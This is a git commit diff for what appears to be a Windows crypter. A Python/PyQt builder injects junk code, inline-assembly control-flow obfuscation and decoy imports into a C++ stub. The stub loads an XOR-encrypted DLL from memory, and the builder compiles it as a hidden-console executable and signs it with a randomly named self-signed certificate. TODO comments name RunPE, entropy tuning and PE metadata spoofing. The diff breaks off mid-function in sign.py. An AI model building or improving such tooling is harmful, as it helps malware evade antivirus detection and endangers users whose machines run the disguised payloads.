add: control flow, code signing, build status check. fix: obfuscator
This commit is contained in:
@@ -100,17 +100,18 @@
|
|||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
<SDLCheck>true</SDLCheck>
|
<SDLCheck>true</SDLCheck>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
|||||||
2
config.h
2
config.h
@@ -1,2 +1,2 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#define KEY "sfgsdf"
|
#define KEY "ygiugefq"
|
||||||
61
gui.py
61
gui.py
@@ -7,11 +7,28 @@
|
|||||||
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
|
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
|
||||||
# run again. Do not edit this file unless you know what you are doing.
|
# run again. Do not edit this file unless you know what you are doing.
|
||||||
|
|
||||||
|
"""
|
||||||
|
TODO :
|
||||||
|
- LoadPE (KEKW)
|
||||||
|
- Good entropy
|
||||||
|
- Good Section sizes
|
||||||
|
- Add resources
|
||||||
|
- Code signing
|
||||||
|
- Change PE metadata (company, description, etc...)
|
||||||
|
- Random Windows API calls (help)
|
||||||
|
|
||||||
|
Done :
|
||||||
|
- RunPE
|
||||||
|
- Junk code
|
||||||
|
- Control flow
|
||||||
|
- IAT obfuscation (adding "normal" imports in addition to the others)
|
||||||
|
"""
|
||||||
|
|
||||||
from PyQt5 import QtCore, QtGui, QtWidgets
|
from PyQt5 import QtCore, QtGui, QtWidgets
|
||||||
from PyQt5.QtWidgets import QApplication
|
from PyQt5.QtWidgets import QApplication
|
||||||
from PyQt5.QtCore import QCoreApplication
|
from PyQt5.QtCore import QCoreApplication
|
||||||
from obfuscation import obfuscate
|
from obfuscation import obfuscate
|
||||||
|
from sign import sign
|
||||||
import os, shutil
|
import os, shutil
|
||||||
|
|
||||||
class Ui_mainWindow(object):
|
class Ui_mainWindow(object):
|
||||||
@@ -59,11 +76,19 @@ class Ui_mainWindow(object):
|
|||||||
self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
|
self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
|
||||||
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
|
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
|
||||||
self.spinBox.setObjectName("spinBox")
|
self.spinBox.setObjectName("spinBox")
|
||||||
self.spinBox.setValue(5)
|
self.spinBox.setValue(6)
|
||||||
self.spinBox.setMinimum(1)
|
self.spinBox.setMinimum(1)
|
||||||
self.label_3 = QtWidgets.QLabel(self.centralwidget)
|
self.label_3 = QtWidgets.QLabel(self.centralwidget)
|
||||||
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
|
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
|
||||||
self.label_3.setObjectName("label_3")
|
self.label_3.setObjectName("label_3")
|
||||||
|
self.label_4 = QtWidgets.QLabel(self.centralwidget)
|
||||||
|
self.label_4.setGeometry(QtCore.QRect(120, 142, 47, 13))
|
||||||
|
self.label_4.setObjectName("label_4")
|
||||||
|
self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget)
|
||||||
|
self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22))
|
||||||
|
self.spinBox_2.setObjectName("spinBox_2")
|
||||||
|
self.spinBox_2.setValue(2)
|
||||||
|
self.spinBox_2.setMinimum(1)
|
||||||
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
|
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
|
||||||
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
|
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
|
||||||
self.checkBox_3.setObjectName("checkBox_3")
|
self.checkBox_3.setObjectName("checkBox_3")
|
||||||
@@ -94,6 +119,7 @@ class Ui_mainWindow(object):
|
|||||||
self.label_2.setText(_translate("mainWindow", ""))
|
self.label_2.setText(_translate("mainWindow", ""))
|
||||||
self.label_2.hide()
|
self.label_2.hide()
|
||||||
self.label_3.setText(_translate("mainWindow", "Pass :"))
|
self.label_3.setText(_translate("mainWindow", "Pass :"))
|
||||||
|
self.label_4.setText(_translate("mainWindow", "Pass :"))
|
||||||
self.checkBox_2.setText(_translate("mainWindow", "Add junk code"))
|
self.checkBox_2.setText(_translate("mainWindow", "Add junk code"))
|
||||||
self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
|
self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
|
||||||
|
|
||||||
@@ -137,16 +163,11 @@ class Ui_mainWindow(object):
|
|||||||
with open("config.h", "w") as c :
|
with open("config.h", "w") as c :
|
||||||
c.write(f'#pragma once\n#define KEY "{xor_key}"')
|
c.write(f'#pragma once\n#define KEY "{xor_key}"')
|
||||||
|
|
||||||
if self.cflow : # Make control flow stuff
|
self.label_2.setText("Adding junk code...")
|
||||||
pass
|
QCoreApplication.processEvents()
|
||||||
|
obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk)
|
||||||
if self.junk : # Add junk code
|
self.label_2.setText("done.")
|
||||||
self.label_2.setText("Adding junk code...")
|
QCoreApplication.processEvents()
|
||||||
QCoreApplication.processEvents()
|
|
||||||
print(self.spinBox.value())
|
|
||||||
obfuscate(self.spinBox.value())
|
|
||||||
self.label_2.setText("done.")
|
|
||||||
QCoreApplication.processEvents()
|
|
||||||
|
|
||||||
self.label_2.setText("Compiling...")
|
self.label_2.setText("Compiling...")
|
||||||
QCoreApplication.processEvents()
|
QCoreApplication.processEvents()
|
||||||
@@ -154,14 +175,24 @@ class Ui_mainWindow(object):
|
|||||||
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
|
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
|
||||||
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
|
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
|
||||||
|
|
||||||
os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
|
return_code = os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
|
||||||
|
|
||||||
|
if return_code :
|
||||||
|
self.label_2.setText("build failed.")
|
||||||
|
QCoreApplication.processEvents()
|
||||||
|
else :
|
||||||
|
self.label_2.setText("Signing the file...")
|
||||||
|
QCoreApplication.processEvents()
|
||||||
|
sign(out_filename)
|
||||||
|
|
||||||
# Cleaning up..
|
# Cleaning up..
|
||||||
os.remove("main.cpp")
|
os.remove("main.cpp")
|
||||||
os.rename("DO_NOT_TOUCH.cpp", "main.cpp")
|
os.rename("DO_NOT_TOUCH.cpp", "main.cpp")
|
||||||
|
|
||||||
self.label_2.setText(f"--> {out_filename}")
|
if not return_code :
|
||||||
QCoreApplication.processEvents()
|
self.label_2.setText(f"--> {out_filename}")
|
||||||
|
QCoreApplication.processEvents()
|
||||||
|
|
||||||
def fileDialog(self):
|
def fileDialog(self):
|
||||||
options = QtWidgets.QFileDialog.Options()
|
options = QtWidgets.QFileDialog.Options()
|
||||||
options |= QtWidgets.QFileDialog.ReadOnly
|
options |= QtWidgets.QFileDialog.ReadOnly
|
||||||
|
|||||||
18
main.cpp
18
main.cpp
@@ -241,13 +241,25 @@ void decrypt(const char* key) {
|
|||||||
//END
|
//END
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(void)
|
void allo() {
|
||||||
{
|
|
||||||
//START
|
//START
|
||||||
|
|
||||||
AllocConsole();
|
AllocConsole();
|
||||||
FILE* fp;
|
FILE* fp;
|
||||||
freopen_s(&fp, "CONOUT$", "w", stdout); // output only
|
freopen_s(&fp, "CONOUT$", "w", stdout); // output only
|
||||||
|
//END
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
int main(void)
|
||||||
|
#else
|
||||||
|
int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
//START
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
allo();
|
||||||
|
#endif
|
||||||
|
|
||||||
DEBUG_PRINTF("[+] Started\n");
|
DEBUG_PRINTF("[+] Started\n");
|
||||||
// Load the DLL from a buffer in memory
|
// Load the DLL from a buffer in memory
|
||||||
|
|||||||
190
obfuscation.py
190
obfuscation.py
@@ -1,54 +1,15 @@
|
|||||||
import os, string, re
|
import os, string, re
|
||||||
|
from randomness import *
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Creates :
|
Creates :
|
||||||
- Random variables (local and globals)
|
- Random variables (local and globals)
|
||||||
- Random operations on globals
|
- Random operations on globals
|
||||||
|
- Random function definitions
|
||||||
|
- Random function calls
|
||||||
|
- Random control flow
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def GetRandomBool() :
|
|
||||||
result = os.urandom(3)
|
|
||||||
r= sum(result) < 381.04
|
|
||||||
return r #average
|
|
||||||
|
|
||||||
def GetRandomNumber() :
|
|
||||||
result = os.urandom(4)
|
|
||||||
return int(sum(result))
|
|
||||||
|
|
||||||
def GetRandomRange(a, b):
|
|
||||||
if a > b:
|
|
||||||
a, b = b, a # Swap a and b if a is greater than b
|
|
||||||
|
|
||||||
range_size = b - a + 1 # Calculate the size of the range
|
|
||||||
|
|
||||||
# Calculate the number of bits required to represent all values in the range
|
|
||||||
num_bits = 0
|
|
||||||
while 2 ** num_bits < range_size:
|
|
||||||
num_bits += 1
|
|
||||||
|
|
||||||
# Generate a random number in binary representation using GetRandomBool()
|
|
||||||
random_binary = [GetRandomBool() for _ in range(num_bits)]
|
|
||||||
|
|
||||||
# Convert the binary representation to an integer within the specified range
|
|
||||||
random_integer = 0
|
|
||||||
for i, bit in enumerate(random_binary):
|
|
||||||
random_integer += bit * (2 ** i)
|
|
||||||
|
|
||||||
# Map the generated integer to the desired range [a, b]
|
|
||||||
mapped_value = a + random_integer
|
|
||||||
if mapped_value > b : return GetRandomRange(a, b)
|
|
||||||
|
|
||||||
return mapped_value
|
|
||||||
|
|
||||||
def GetRandomString(l) :
|
|
||||||
letters = string.ascii_lowercase
|
|
||||||
s = ""
|
|
||||||
while len(s) < l :
|
|
||||||
r = GetRandomRange(0, len(letters)-1)
|
|
||||||
s += letters[r]
|
|
||||||
|
|
||||||
return s
|
|
||||||
|
|
||||||
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"]
|
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"]
|
||||||
operations = ["-", "+", "^", "*", "/"]
|
operations = ["-", "+", "^", "*", "/"]
|
||||||
global_vars = {}
|
global_vars = {}
|
||||||
@@ -59,7 +20,7 @@ def GetRandomVar() :
|
|||||||
global global_vars
|
global global_vars
|
||||||
global in_func
|
global in_func
|
||||||
vtype = types[GetRandomRange(0, len(types)-1)]
|
vtype = types[GetRandomRange(0, len(types)-1)]
|
||||||
vname = GetRandomString(10)
|
vname = GetRandomString(15)
|
||||||
t = vtype + " " + vname + " = "
|
t = vtype + " " + vname + " = "
|
||||||
|
|
||||||
val = str(GetRandomNumber())
|
val = str(GetRandomNumber())
|
||||||
@@ -95,7 +56,7 @@ def GetRandomOperation() :
|
|||||||
|
|
||||||
def GetRandomFunction() :
|
def GetRandomFunction() :
|
||||||
global functions
|
global functions
|
||||||
name = GetRandomString(6)
|
name = GetRandomString(15)
|
||||||
functions.append(name)
|
functions.append(name)
|
||||||
|
|
||||||
body = "int "+name+"(const char* a1) {\n"
|
body = "int "+name+"(const char* a1) {\n"
|
||||||
@@ -109,9 +70,50 @@ def CallRandomFunction() :
|
|||||||
if len(functions) < 1 : return ""
|
if len(functions) < 1 : return ""
|
||||||
|
|
||||||
sub = functions[GetRandomRange(0, len(functions)-1)]
|
sub = functions[GetRandomRange(0, len(functions)-1)]
|
||||||
return "int " + GetRandomString(6) + " = " + sub + "(\""+GetRandomString(5)+"\");"
|
return "int " + GetRandomString(15) + " = " + sub + "(\""+GetRandomString(10)+"\");"
|
||||||
|
|
||||||
def obfuscate(PASS) :
|
def GetAsmBlock(branch1, branch2, var, end, sub) :
|
||||||
|
asm_block = """\n\t\tcmp eax, """+str(GetRandomNumber())+"""
|
||||||
|
jne """+branch1+"""
|
||||||
|
jmp """+branch2+"""
|
||||||
|
"""+branch1+""":"""
|
||||||
|
|
||||||
|
|
||||||
|
if GetRandomRange(0, 4) > 1 :
|
||||||
|
branch1 = GetRandomString(20)
|
||||||
|
branch2_ = GetRandomString(20)
|
||||||
|
asm_block += GetAsmBlock(branch1, branch2_, var, end, sub)
|
||||||
|
|
||||||
|
asm_block += "\n\t"+branch2+":\n\t\tmov eax, "+var+"\n\t\tcall "+sub
|
||||||
|
|
||||||
|
return asm_block
|
||||||
|
|
||||||
|
def GetRandomAssemblyBlock() :
|
||||||
|
global functions
|
||||||
|
if len(functions) < 1 : return ""
|
||||||
|
sub = functions[GetRandomRange(0, len(functions)-1)]
|
||||||
|
|
||||||
|
branch1 = GetRandomString(20)
|
||||||
|
branch2 = GetRandomString(20)
|
||||||
|
end = GetRandomString(20)
|
||||||
|
var = GetRandomString(15)
|
||||||
|
|
||||||
|
r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {"""
|
||||||
|
|
||||||
|
for i in range(GetRandomRange(0, 30)) :
|
||||||
|
branch1 = GetRandomString(20)
|
||||||
|
branch2 = GetRandomString(20)
|
||||||
|
end = GetRandomString(20)
|
||||||
|
r += GetAsmBlock(branch1, branch2, var, end, sub)
|
||||||
|
|
||||||
|
r += """\n};"""
|
||||||
|
return r
|
||||||
|
|
||||||
|
def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||||
|
if PASS < CFLOW_PASS : PASS = CFLOW_PASS
|
||||||
|
|
||||||
|
if not cflow and not junk : PASS = 0
|
||||||
|
|
||||||
global global_vars
|
global global_vars
|
||||||
global functions
|
global functions
|
||||||
global in_func
|
global in_func
|
||||||
@@ -120,24 +122,37 @@ def obfuscate(PASS) :
|
|||||||
|
|
||||||
f = open("DO_NOT_TOUCH.cpp", "r")
|
f = open("DO_NOT_TOUCH.cpp", "r")
|
||||||
o = open("main.cpp", "w")
|
o = open("main.cpp", "w")
|
||||||
|
out = []
|
||||||
|
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for k in range(PASS) :
|
for k in range(PASS) :
|
||||||
in_comment = False
|
in_comment = False
|
||||||
in_switch = False
|
in_switch = False
|
||||||
in_asm = False
|
in_asm = False
|
||||||
in_func_delay = False
|
wait_for_func_close = False
|
||||||
global_vars = {}
|
global_vars = {}
|
||||||
functions = []
|
functions = []
|
||||||
out = []
|
out = []
|
||||||
|
idx = 0
|
||||||
for line in lines :
|
for line in lines :
|
||||||
|
idx += 1
|
||||||
out.append(line)
|
out.append(line)
|
||||||
|
|
||||||
if in_func_delay and "}" in line :
|
if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line:
|
||||||
in_func = False
|
in_func = False
|
||||||
in_func_delay = False
|
wait_for_func_close = True
|
||||||
elif in_func_delay : continue
|
print(f"continue1 {in_func} {line}")
|
||||||
|
continue
|
||||||
|
if wait_for_func_close and "}" in line :
|
||||||
|
in_func = False
|
||||||
|
wait_for_func_close = False
|
||||||
|
print(f"continue2 {in_func} {line}")
|
||||||
|
continue
|
||||||
|
if wait_for_func_close :
|
||||||
|
print(f"continue3 {in_func} {line}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
print(in_func, line)
|
||||||
if "//START" in line : in_func = True
|
if "//START" in line : in_func = True
|
||||||
if "/*" in line : in_comment = True
|
if "/*" in line : in_comment = True
|
||||||
elif "*/" in line : in_comment = False
|
elif "*/" in line : in_comment = False
|
||||||
@@ -155,10 +170,10 @@ def obfuscate(PASS) :
|
|||||||
|
|
||||||
if b or a or in_comment or in_switch or in_asm : continue # we can't write
|
if b or a or in_comment or in_switch or in_asm : continue # we can't write
|
||||||
|
|
||||||
if GetRandomBool() : # do we create a variable ?
|
if GetRandomBool() and junk : # do we create a variable ?
|
||||||
out.append(GetRandomVar()+"\n")
|
out.append(GetRandomVar()+"\n")
|
||||||
|
|
||||||
if GetRandomBool() and in_func : # do we do an operation on globals ?
|
if GetRandomBool() and in_func and junk: # do we do an operation on globals ?
|
||||||
out.append(GetRandomOperation()+"\n")
|
out.append(GetRandomOperation()+"\n")
|
||||||
|
|
||||||
if GetRandomBool() and not in_func : # do we create a function ?
|
if GetRandomBool() and not in_func : # do we create a function ?
|
||||||
@@ -166,9 +181,70 @@ def obfuscate(PASS) :
|
|||||||
|
|
||||||
if GetRandomBool() and in_func : # do we call a function ?
|
if GetRandomBool() and in_func : # do we call a function ?
|
||||||
out.append(CallRandomFunction()+"\n")
|
out.append(CallRandomFunction()+"\n")
|
||||||
|
|
||||||
if "//END" in line : in_func_delay = True
|
if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
|
||||||
|
out.append(GetRandomAssemblyBlock()+"\n")
|
||||||
|
|
||||||
lines = out
|
lines = out
|
||||||
|
|
||||||
|
fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n
|
||||||
|
#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n
|
||||||
|
#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n
|
||||||
|
#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n
|
||||||
|
#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n
|
||||||
|
#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n
|
||||||
|
#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n
|
||||||
|
#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n
|
||||||
|
#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n
|
||||||
|
#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"""
|
||||||
|
|
||||||
|
static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n
|
||||||
|
(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n
|
||||||
|
(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n
|
||||||
|
(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n
|
||||||
|
(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n
|
||||||
|
(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n
|
||||||
|
(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n
|
||||||
|
(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n
|
||||||
|
(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n
|
||||||
|
(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n
|
||||||
|
(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n
|
||||||
|
(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n
|
||||||
|
(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n
|
||||||
|
(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n
|
||||||
|
(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n
|
||||||
|
(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n
|
||||||
|
\r\n
|
||||||
|
DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n
|
||||||
|
\r\n
|
||||||
|
DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n
|
||||||
|
\r\n
|
||||||
|
DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n
|
||||||
|
(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n
|
||||||
|
\r\n"""
|
||||||
|
|
||||||
|
fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"Comdlg32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"UrlMon.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"Shell32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"oledlg.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"Ole32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"AdvApi32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"WinInet.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"Gdi32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"WS2_32.lib\")\r\n
|
||||||
|
#pragma comment(lib,\"opengl32.lib\")\r\n"""
|
||||||
|
|
||||||
|
fake_includes = """#include <intrin.h>\r\n
|
||||||
|
#include <Objbase.h>\r\n
|
||||||
|
#include <Callobj.h>\r\n
|
||||||
|
#include <Shellapi.h>\r\n
|
||||||
|
#include <Urlmon.h>\r\n
|
||||||
|
#include <Prsht.h>\r\n
|
||||||
|
#include <Userenv.h>\r\n"""
|
||||||
|
|
||||||
|
out.insert(0, fake_api)
|
||||||
|
out.insert(0, static_imports)
|
||||||
|
out.insert(0, fake_libs)
|
||||||
|
out.insert(0, fake_includes)
|
||||||
o.writelines(out)
|
o.writelines(out)
|
||||||
44
randomness.py
Normal file
44
randomness.py
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
import os, string
|
||||||
|
|
||||||
|
def GetRandomBool() :
|
||||||
|
result = os.urandom(3)
|
||||||
|
r= sum(result) < 381.04
|
||||||
|
return r #average
|
||||||
|
|
||||||
|
def GetRandomNumber() :
|
||||||
|
result = os.urandom(4)
|
||||||
|
return int(sum(result))
|
||||||
|
|
||||||
|
def GetRandomRange(a, b):
|
||||||
|
if a > b:
|
||||||
|
a, b = b, a # Swap a and b if a is greater than b
|
||||||
|
|
||||||
|
range_size = b - a + 1 # Calculate the size of the range
|
||||||
|
|
||||||
|
# Calculate the number of bits required to represent all values in the range
|
||||||
|
num_bits = 0
|
||||||
|
while 2 ** num_bits < range_size:
|
||||||
|
num_bits += 1
|
||||||
|
|
||||||
|
# Generate a random number in binary representation using GetRandomBool()
|
||||||
|
random_binary = [GetRandomBool() for _ in range(num_bits)]
|
||||||
|
|
||||||
|
# Convert the binary representation to an integer within the specified range
|
||||||
|
random_integer = 0
|
||||||
|
for i, bit in enumerate(random_binary):
|
||||||
|
random_integer += bit * (2 ** i)
|
||||||
|
|
||||||
|
# Map the generated integer to the desired range [a, b]
|
||||||
|
mapped_value = a + random_integer
|
||||||
|
if mapped_value > b : return GetRandomRange(a, b)
|
||||||
|
|
||||||
|
return mapped_value
|
||||||
|
|
||||||
|
def GetRandomString(l) :
|
||||||
|
letters = string.ascii_lowercase
|
||||||
|
s = ""
|
||||||
|
while len(s) < l :
|
||||||
|
r = GetRandomRange(0, len(letters)-1)
|
||||||
|
s += letters[r]
|
||||||
|
|
||||||
|
return s
|
||||||
2
requirements.txt
Normal file
2
requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
OpenSSL
|
||||||
|
pywin32==302
|
||||||
85
sign.py
Normal file
85
sign.py
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
from OpenSSL import crypto, SSL
|
||||||
|
from Crypto.Signature import pkcs1_15
|
||||||
|
from Crypto.Hash import SHA256
|
||||||
|
from Crypto.PublicKey import RSA
|
||||||
|
from randomness import *
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
|
||||||
|
def cert_gen(
|
||||||
|
emailAddress=GetRandomString(10)+"@gmail.com",
|
||||||
|
commonName=GetRandomString(10),
|
||||||
|
countryName="NT",
|
||||||
|
localityName=GetRandomString(10),
|
||||||
|
stateOrProvinceName=GetRandomString(10),
|
||||||
|
organizationName=GetRandomString(10),
|
||||||
|
organizationUnitName=GetRandomString(10),
|
||||||
|
serialNumber=0,
|
||||||
|
validityStartInSeconds=0,
|
||||||
|
validityEndInSeconds=10*365*24*60*60,
|
||||||
|
KEY_FILE = "private.key",
|
||||||
|
CERT_FILE="selfsigned.crt"):
|
||||||
|
#can look at generated file using openssl:
|
||||||
|
#openssl x509 -inform pem -in selfsigned.crt -noout -text
|
||||||
|
# create a key pair
|
||||||
|
k = crypto.PKey()
|
||||||
|
k.generate_key(crypto.TYPE_RSA, 4096)
|
||||||
|
# create a self-signed cert
|
||||||
|
cert = crypto.X509()
|
||||||
|
cert.get_subject().C = countryName
|
||||||
|
cert.get_subject().ST = stateOrProvinceName
|
||||||
|
cert.get_subject().L = localityName
|
||||||
|
cert.get_subject().O = organizationName
|
||||||
|
cert.get_subject().OU = organizationUnitName
|
||||||
|
cert.get_subject().CN = commonName
|
||||||
|
cert.get_subject().emailAddress = emailAddress
|
||||||
|
cert.set_serial_number(serialNumber)
|
||||||
|
cert.gmtime_adj_notBefore(0)
|
||||||
|
cert.gmtime_adj_notAfter(validityEndInSeconds)
|
||||||
|
cert.set_issuer(cert.get_subject())
|
||||||
|
cert.set_pubkey(k)
|
||||||
|
cert.sign(k, 'sha512')
|
||||||
|
with open(CERT_FILE, "wt") as f:
